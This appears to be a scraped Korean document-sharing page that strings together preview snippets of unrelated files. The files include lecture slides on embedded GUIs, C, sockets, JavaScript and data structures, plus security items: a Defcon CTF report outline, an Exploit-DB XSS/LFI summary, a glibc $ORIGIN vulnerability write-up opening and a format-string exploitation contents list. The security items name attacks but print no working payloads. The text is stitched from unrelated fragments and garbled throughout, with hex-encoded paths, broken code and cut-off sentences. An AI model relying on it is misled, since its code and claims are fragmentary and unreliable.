untitled GUI Programming in Embedded Linux Embedded System Lab. II GUI 1:1 Embedded System Lab. II 2 Qt QT trolltech cross GUI QT ( ),, Mac, Linux, *nix C++ Qt X11 C++ GUI. (, ). Qt. Embedded System Lab. II 3 Qt/Embedded

More information

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit Defcon CTF 17 th Nickster Report StolenByte(Son Choong-Ho) http://stolenbyte.egloos.com thscndgh_4@hotmail.com WOWHACKER 2009. 08. 09 0x00 Contents 0x01 ------------- About Nickster 0x02 -------------

More information

76 XSS 하 Huge-IT Slider admin.php XSS

76 XSS 하 Huge-IT Slider admin.php XSS 분석내용정리 ( 작성 : 펜타시큐리티시스템보안성평가팀 ) EDB 분석보고서 (05.06) 05.06.0~05.06.0 Exploit-DB(http://exploit-db.com) 에공개된별로분류한정보입니다. 05 년 6 월에공개된 Exploit-DB 의분석결과, LFI 공격에대한보고개수가가장많았습니다. LFI 공격은대체적으로공격난이도는낮지만공격이성공했을경우시스템의주요파일들이노출되거나파일다운로드가가능해지기때문에위험도가높은공격으로분류됩니다.

More information

C 프로그래밊 개요

C 프로그래밊 개요 구조체 2009 년 5 월 19 일 김경중 강의계획수정 일자계획 Quiz 실습보강 5 월 19 일 ( 화 ) 구조체 Quiz ( 함수 ) 5 월 21 일 ( 목 ) 구조체저녁 6 시 5 월 26 일 ( 화 ) 포인터 5 월 28 일 ( 목 ) 특강 (12:00-1:30) 6 월 2 일 ( 화 ) 포인터 Quiz ( 구조체 ) 저녁 6 시 6 월 4 일 ( 목

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Network Programming Jo, Heeseung Network 실습 네트워크프로그래밍 멀리떨어져있는호스트들이서로데이터를주고받을수있도록프로그램을구현하는것 파일과는달리데이터를주고받을대상이멀리떨어져있기때문에소프트웨어차원에서호스트들간에연결을해주는장치가필요 이러한기능을해주는장치로소켓이라는인터페이스를많이사용 소켓프로그래밍이란용어와네트워크프로그래밍이랑용어가같은의미로사용

More information

3장

3장 C H A P T E R 03 CHAPTER 03 03-01 03-01-01 Win m1 f1 e4 e5 e6 o8 Mac m1 f1 s1.2 o8 Linux m1 f1 k3 o8 AJAX

More information

Microsoft PowerPoint 세션.ppt

Microsoft PowerPoint 세션.ppt 웹프로그래밍 () 2006 년봄학기 문양세강원대학교컴퓨터과학과 세션변수 (Session Variable) (1/2) 쇼핑몰장바구니 장바구니에서는사용자가페이지를이동하더라도장바구니의구매물품리스트의내용을유지하고있어야함 PHP 에서사용하는일반적인변수는스크립트의수행이끝나면모두없어지기때문에페이지이동시변수의값을유지할수없음 이러한문제점을해결하기위해서 PHP 에서는세션 (session)

More information

PowerPoint Template

PowerPoint Template JavaScript 회원정보 입력양식만들기 HTML & JavaScript Contents 1. Form 객체 2. 일반적인입력양식 3. 선택입력양식 4. 회원정보입력양식만들기 2 Form 객체 Form 객체 입력양식의틀이되는 태그에접근할수있도록지원 Document 객체의하위에위치 속성들은모두 태그의속성들의정보에관련된것

More information

중간고사

중간고사 중간고사 예제 1 사용자로부터받은두개의숫자 x, y 중에서큰수를찾는알고리즘을의사코드로작성하시오. Step 1: Input x, y Step 2: if (x > y) then MAX

More information

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CC0E7B0EDB0FCB8AE5C53746F636B5F4D616E D656E74732E637070>

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CC0E7B0EDB0FCB8AE5C53746F636B5F4D616E D656E74732E637070> 1 #include 2 #include 3 #include 4 #include 5 #include 6 #include "QuickSort.h" 7 using namespace std; 8 9 10 Node* Queue[100]; // 추가입력된데이터를저장하기위한 Queue

More information

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - (Asynchronous Mode) - - - ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - UART (Univ ers al As y nchronous Receiver / T rans mitter) 8250A 8250A { COM1(3F8H). - Line Control Register

More information

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C4C656D70656C2D5A69762E637070>

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C4C656D70656C2D5A69762E637070> /* */ /* LZWIN.C : Lempel-Ziv compression using Sliding Window */ /* */ #include "stdafx.h" #include "Lempel-Ziv.h" 1 /* 큐를초기화 */ void LZ::init_queue(void) front = rear = 0; /* 큐가꽉찼으면 1 을되돌림 */ int LZ::queue_full(void)

More information

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074> Chap #2 펌웨어작성을위한 C 언어 I http://www.smartdisplay.co.kr 강의계획 Chap1. 강의계획및디지털논리이론 Chap2. 펌웨어작성을위한 C 언어 I Chap3. 펌웨어작성을위한 C 언어 II Chap4. AT89S52 메모리구조 Chap5. SD-52 보드구성과코드메모리프로그래밍방법 Chap6. 어드레스디코딩 ( 매핑 ) 과어셈블리어코딩방법

More information

Secure Programming Lecture1 : Introduction

Secure Programming Lecture1 : Introduction Malware and Vulnerability Analysis Lecture3-2 Malware Analysis #3-2 Agenda 안드로이드악성코드분석 악성코드분석 안드로이드악성코드정적분석 APK 추출 #1 adb 명령 안드로이드에설치된패키지리스트추출 adb shell pm list packages v0nui-macbook-pro-2:lecture3 v0n$

More information

Secure Programming Lecture1 : Introduction

Secure Programming Lecture1 : Introduction Malware and Vulnerability Analysis Lecture4-1 Vulnerability Analysis #4-1 Agenda 웹취약점점검 웹사이트취약점점검 HTTP and Web Vulnerability HTTP Protocol 웹브라우저와웹서버사이에하이퍼텍스트 (Hyper Text) 문서송수신하는데사용하는프로토콜 Default Port

More information

API 매뉴얼

API 매뉴얼 PCI-DIO12 API Programming (Rev 1.0) Windows, Windows2000, Windows NT and Windows XP are trademarks of Microsoft. We acknowledge that the trademarks or service names of all other organizations mentioned

More information

MySQL-Ch10

MySQL-Ch10 10 Chapter.,,.,, MySQL. MySQL mysqld MySQL.,. MySQL. MySQL....,.,..,,.,. UNIX, MySQL. mysqladm mysqlgrp. MySQL 608 MySQL(2/e) Chapter 10 MySQL. 10.1 (,, ). UNIX MySQL, /usr/local/mysql/var, /usr/local/mysql/data,

More information

Eclipse 와 Firefox 를이용한 Javascript 개발 발표자 : 문경대 11 년 10 월 26 일수요일

Eclipse 와 Firefox 를이용한 Javascript 개발 발표자 : 문경대 11 년 10 월 26 일수요일 Eclipse 와 Firefox 를이용한 Javascript 개발 발표자 : 문경대 Introduce Me!!! Job Jeju National University Student Ubuntu Korean Jeju Community Owner E-Mail: ned3y2k@hanmail.net Blog: http://ned3y2k.wo.tc Facebook: http://www.facebook.com/gyeongdae

More information

13주-14주proc.PDF

13주-14주proc.PDF 12 : Pro*C/C++ 1 2 Embeded SQL 3 PRO *C 31 C/C++ PRO *C NOT! NOT AND && AND OR OR EQUAL == = SQL,,, Embeded SQL SQL 32 Pro*C C SQL Pro*C C, C Pro*C, C C 321, C char : char[n] : n int, short, long : float

More information

3ÆÄÆ®-14

3ÆÄÆ®-14 chapter 14 HTTP >>> 535 Part 3 _ 1 L i Sting using System; using System.Net; using System.Text; class DownloadDataTest public static void Main (string[] argv) WebClient wc = new WebClient(); byte[] response

More information

Adobe Flash 취약점 분석 (CVE-2012-0754)

Adobe Flash 취약점 분석 (CVE-2012-0754) 기술문서 14. 08. 13. 작성 GNU C library dynamic linker $ORIGIN expansion Vulnerability Author : E-Mail : 윤지환 131ackcon@gmail.com Abstract 2010 년 Tavis Ormandy 에 의해 발견된 취약점으로써 정확한 명칭은 GNU C library dynamic linker

More information

Tcl의 문법

Tcl의 문법 월, 01/28/2008-20:50 admin 은 상당히 단순하고, 커맨드의 인자를 스페이스(공백)로 단락을 짓고 나열하는 정도입니다. command arg1 arg2 arg3... 한행에 여러개의 커맨드를 나열할때는, 세미콜론( ; )으로 구분을 짓습니다. command arg1 arg2 arg3... ; command arg1 arg2 arg3... 한행이

More information

자바-11장N'1-502

자바-11장N'1-502 C h a p t e r 11 java.net.,,., (TCP/IP) (UDP/IP).,. 1 ISO OSI 7 1977 (ISO, International Standards Organization) (OSI, Open Systems Interconnection). 6 1983 X.200. OSI 7 [ 11-1] 7. 1 (Physical Layer),

More information

SRC PLUS 제어기 MANUAL

SRC PLUS 제어기 MANUAL ,,,, DE FIN E I N T R E A L L O C E N D SU B E N D S U B M O TIO

More information

Microsoft PowerPoint - Java7.pptx

Microsoft PowerPoint - Java7.pptx HPC & OT Lab. 1 HPC & OT Lab. 2 실습 7 주차 Jin-Ho, Jang M.S. Hanyang Univ. HPC&OT Lab. jinhoyo@nate.com HPC & OT Lab. 3 Component Structure 객체 (object) 생성개념을이해한다. 외부클래스에대한접근방법을이해한다. 접근제어자 (public & private)

More information

int main(void) int a; int b; a=3; b=a+5; printf("a : %d \n", a); printf("b : %d \n", b); a b 3 a a+5 b &a(12ff60) &b(12ff54) 3 a 8 b printf(" a : %x \

int main(void) int a; int b; a=3; b=a+5; printf(a : %d \n, a); printf(b : %d \n, b); a b 3 a a+5 b &a(12ff60) &b(12ff54) 3 a 8 b printf( a : %x \ ? 1 int main(void) int a; int b; a=3; b=a+5; printf("a : %d \n", a); printf("b : %d \n", b); a b 3 a a+5 b &a(12ff60) &b(12ff54) 3 a 8 b printf(" a : %x \n", &a); printf(" b : %x \n", &b); * : 12ff60,

More information

chap 5: Trees

chap 5: Trees 5. Threaded Binary Tree 기본개념 n 개의노드를갖는이진트리에는 2n 개의링크가존재 2n 개의링크중에 n + 1 개의링크값은 null Null 링크를다른노드에대한포인터로대체 Threads Thread 의이용 ptr left_child = NULL 일경우, ptr left_child 를 ptr 의 inorder predecessor 를가리키도록변경

More information

untitled

untitled CAN BUS RS232 Line Ethernet CAN H/W FIFO RS232 FIFO IP ARP CAN S/W FIFO TERMINAL Emulator COMMAND Interpreter ICMP TCP UDP PROTOCOL Converter TELNET DHCP C2E SW1 CAN RS232 RJ45 Power

More information

ISP and CodeVisionAVR C Compiler.hwp

ISP and CodeVisionAVR C Compiler.hwp USBISP V3.0 & P-AVRISP V1.0 with CodeVisionAVR C Compiler http://www.avrmall.com/ November 12, 2007 Copyright (c) 2003-2008 All Rights Reserved. USBISP V3.0 & P-AVRISP V1.0 with CodeVisionAVR C Compiler

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 @ Lesson 2... ( ). ( ). @ vs. logic data method variable behavior attribute method field Flow (Type), ( ) member @ () : C program Method A ( ) Method B ( ) Method C () program : Java, C++, C# data @ Program

More information

bn2019_2

bn2019_2 arp -a Packet Logging/Editing Decode Buffer Capture Driver Logging: permanent storage of packets for offline analysis Decode: packets must be decoded to human readable form. Buffer: packets must temporarily

More information

C# Programming Guide - Types

C# Programming Guide - Types C# Programming Guide - Types 최도경 lifeisforu@wemade.com 이문서는 MSDN 의 Types 를요약하고보충한것입니다. http://msdn.microsoft.com/enus/library/ms173104(v=vs.100).aspx Types, Variables, and Values C# 은 type 에민감한언어이다. 모든

More information

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 이중포인터란무엇인가? 포인터배열 함수포인터 다차원배열과포인터 void 포인터 포인터는다양한용도로유용하게활용될수있습니다. 2 이중포인터

More information

Javascript.pages

Javascript.pages JQuery jquery part1 JavaScript : e-mail:leseraphina@naver.com http://www.webhard.co.kr I.? 2 ......,,. : : html5 ; ; .

More information

Dialog Box 실행파일을 Web에 포함시키는 방법

Dialog Box 실행파일을 Web에 포함시키는 방법 DialogBox Web 1 Dialog Box Web 1 MFC ActiveX ControlWizard workspace 2 insert, ID 3 class 4 CDialogCtrl Class 5 classwizard OnCreate Create 6 ActiveX OCX 7 html 1 MFC ActiveX ControlWizard workspace New

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된

More information

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770> 기술문서 09. 11. 3. 작성 Format String Bug 에서 dtors 우회 작성자 : 영남대학교 @Xpert 박병규 preex@ynu.ac.kr 1. 요약... 2 2. d to r 이란... 3 3. 포맷스트링... 4 4. ro o t 권한획득... 7 5. 참고자료... 1 0-1 - 1. 요약 포맷스트링버그 (Format String bug)

More information

rmi_박준용_final.PDF

rmi_박준용_final.PDF (RMI) - JSTORM http://wwwjstormpekr (RMI)- Document title: Document file name: Revision number: Issued by: Document Information (RMI)- rmi finaldoc Issue Date: Status:

More information

목차 BUG DEQUEUE 의 WAIT TIME 이 1 초미만인경우, 설정한시간만큼대기하지않는문제가있습니다... 3 BUG [qp-select-pvo] group by 표현식에있는컬럼을참조하는집합연산이존재하지않으면결괏값오류가발생할수있습니다... 4

목차 BUG DEQUEUE 의 WAIT TIME 이 1 초미만인경우, 설정한시간만큼대기하지않는문제가있습니다... 3 BUG [qp-select-pvo] group by 표현식에있는컬럼을참조하는집합연산이존재하지않으면결괏값오류가발생할수있습니다... 4 ALTIBASE HDB 6.5.1.5.10 Patch Notes 목차 BUG-46183 DEQUEUE 의 WAIT TIME 이 1 초미만인경우, 설정한시간만큼대기하지않는문제가있습니다... 3 BUG-46249 [qp-select-pvo] group by 표현식에있는컬럼을참조하는집합연산이존재하지않으면결괏값오류가발생할수있습니다... 4 BUG-46266 [sm]

More information

T100MD+

T100MD+ User s Manual 100% ) ( x b a a + 1 RX+ TX+ DTR GND TX+ RX+ DTR GND RX+ TX+ DTR GND DSR RX+ TX+ DTR GND DSR [ DCE TYPE ] [ DCE TYPE ] RS232 Format Baud 1 T100MD+

More information

chap8.PDF

chap8.PDF 8 Hello!! C 2 3 4 struct - {...... }; struct jum{ int x_axis; int y_axis; }; struct - {...... } - ; struct jum{ int x_axis; int y_axis; }point1, *point2; 5 struct {....... } - ; struct{ int x_axis; int

More information

Microsoft PowerPoint - C++ 5 .pptx

Microsoft PowerPoint - C++ 5 .pptx C++ 언어프로그래밍 한밭대학교전자. 제어공학과이승호교수 연산자중복 (operator overloading) 이란? 2 1. 연산자중복이란? 1) 기존에미리정의되어있는연산자 (+, -, /, * 등 ) 들을프로그래머의의도에맞도록새롭게정의하여사용할수있도록지원하는기능 2) 연산자를특정한기능을수행하도록재정의하여사용하면여러가지이점을가질수있음 3) 하나의기능이프로그래머의의도에따라바뀌어동작하는다형성

More information

USER GUIDE

USER GUIDE Solution Package Volume II DATABASE MIGRATION 2010. 1. 9. U.Tu System 1 U.Tu System SeeMAGMA SYSTEM 차 례 1. INPUT & OUTPUT DATABASE LAYOUT...2 2. IPO 중 VB DATA DEFINE 자동작성...4 3. DATABASE UNLOAD...6 4.

More information

Microsoft PowerPoint - chap03-변수와데이터형.pptx

Microsoft PowerPoint - chap03-변수와데이터형.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num %d\n", num); return 0; } 1 학습목표 의 개념에 대해 알아본다.

More information

슬라이드 1

슬라이드 1 / 유닉스시스템개요 / 파일 / 프로세스 01 File Descriptor file file descriptor file type unix 에서의파일은단지바이트들의나열임 operating system 은파일에어떤포맷도부과하지않음 파일의내용은바이트단위로주소를줄수있음 file descriptor 는 0 이나양수임 file 은 open 이나 creat 로 file

More information

Interstage5 SOAP서비스 설정 가이드

Interstage5 SOAP서비스 설정 가이드 Interstage 5 Application Server ( Solaris ) SOAP Service Internet Sample Test SOAP Server Application SOAP Client Application CORBA/SOAP Server Gateway CORBA/SOAP Gateway Client INTERSTAGE SOAP Service

More information

$ret = ""; $socket = fsockopen(" ", 8888, $errno, $errstr, 100); fgets( $socket, 50); fgets( $socket, 50); $ret.= fgets( $socket, 50); $

$ret = ; $socket = fsockopen( , 8888, $errno, $errstr, 100); fgets( $socket, 50); fgets( $socket, 50); $ret.= fgets( $socket, 50); $ The 5eX m2n 푼문제 : O O O X O X X O O X O O O O X O X O O O level1 : parse string Level1은 210:207.246.131 이라는 IP와 8888이라는포트번호가주어진다. 접속하여보면, base64로인코딩된스트링을보여주면서, Plain text를전송하라고한다. Base64된스트링을디코드해보면, beistlab

More information

hd1300_k_v1r2_Final_.PDF

hd1300_k_v1r2_Final_.PDF Starter's Kit for HelloDevice 1300 Version 11 1 2 1 2 3 31 32 33 34 35 36 4 41 42 43 5 51 52 6 61 62 Appendix A (cross-over) IP 3 Starter's Kit for HelloDevice 1300 1 HelloDevice 1300 Starter's Kit HelloDevice

More information

ÀÎÅÍ³Ý ÁøÈï¿ø 3¿ù ÀúÇØ»ó

ÀÎÅÍ³Ý ÁøÈï¿ø 3¿ù ÀúÇØ»ó Korea Internet & Security Agency 21 3 CONTENTS 1 2 2 2 3 3 4 5 5 6 6 7 9 1 12 12 13 13 14 16 18 2 21 22 22 31 34 35 1 213 Bot 1,85 1,32 16.7 1,53 1,76 12.1 222 317 3. 116 16 9.4% 345 23 5.% 267 233 14.6%

More information

0. 표지에이름과학번을적으시오. (6) 1. 변수 x, y 가 integer type 이라가정하고다음빈칸에 x 와 y 의계산결과값을적으시오. (5) x = (3 + 7) * 6; x = 60 x = (12 + 6) / 2 * 3; x = 27 x = 3 * (8 / 4

0. 표지에이름과학번을적으시오. (6) 1. 변수 x, y 가 integer type 이라가정하고다음빈칸에 x 와 y 의계산결과값을적으시오. (5) x = (3 + 7) * 6; x = 60 x = (12 + 6) / 2 * 3; x = 27 x = 3 * (8 / 4 Introduction to software design 2012-1 Final 2012.06.13 16:00-18:00 Student ID: Name: - 1 - 0. 표지에이름과학번을적으시오. (6) 1. 변수 x, y 가 integer type 이라가정하고다음빈칸에 x 와 y 의계산결과값을적으시오. (5) x = (3 + 7) * 6; x = 60 x

More information

Microsoft PowerPoint - chap05-제어문.pptx

Microsoft PowerPoint - chap05-제어문.pptx int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); 1 학습목표 제어문인,, 분기문에 대해 알아본다. 인 if와 switch의 사용 방법과 사용시 주의사항에 대해 알아본다.

More information

UI TASK & KEY EVENT

UI TASK & KEY EVENT 2007. 2. 5 PLATFORM TEAM 정용학 차례 CONTAINER & WIDGET SPECIAL WIDGET 질의응답및토의 2 Container LCD에보여지는화면한개 1개이상의 Widget을가짐 3 Container 초기화과정 ui_init UMP_F_CONTAINERMGR_Initialize UMP_H_CONTAINERMGR_Initialize

More information

Microsoft PowerPoint - ch10 - 이진트리, AVL 트리, 트리 응용 pm0600

Microsoft PowerPoint - ch10 - 이진트리, AVL 트리, 트리 응용 pm0600 균형이진탐색트리 -VL Tree delson, Velskii, Landis에의해 1962년에제안됨 VL trees are balanced n VL Tree is a binary search tree such that for every internal node v of T, the heights of the children of v can differ by at

More information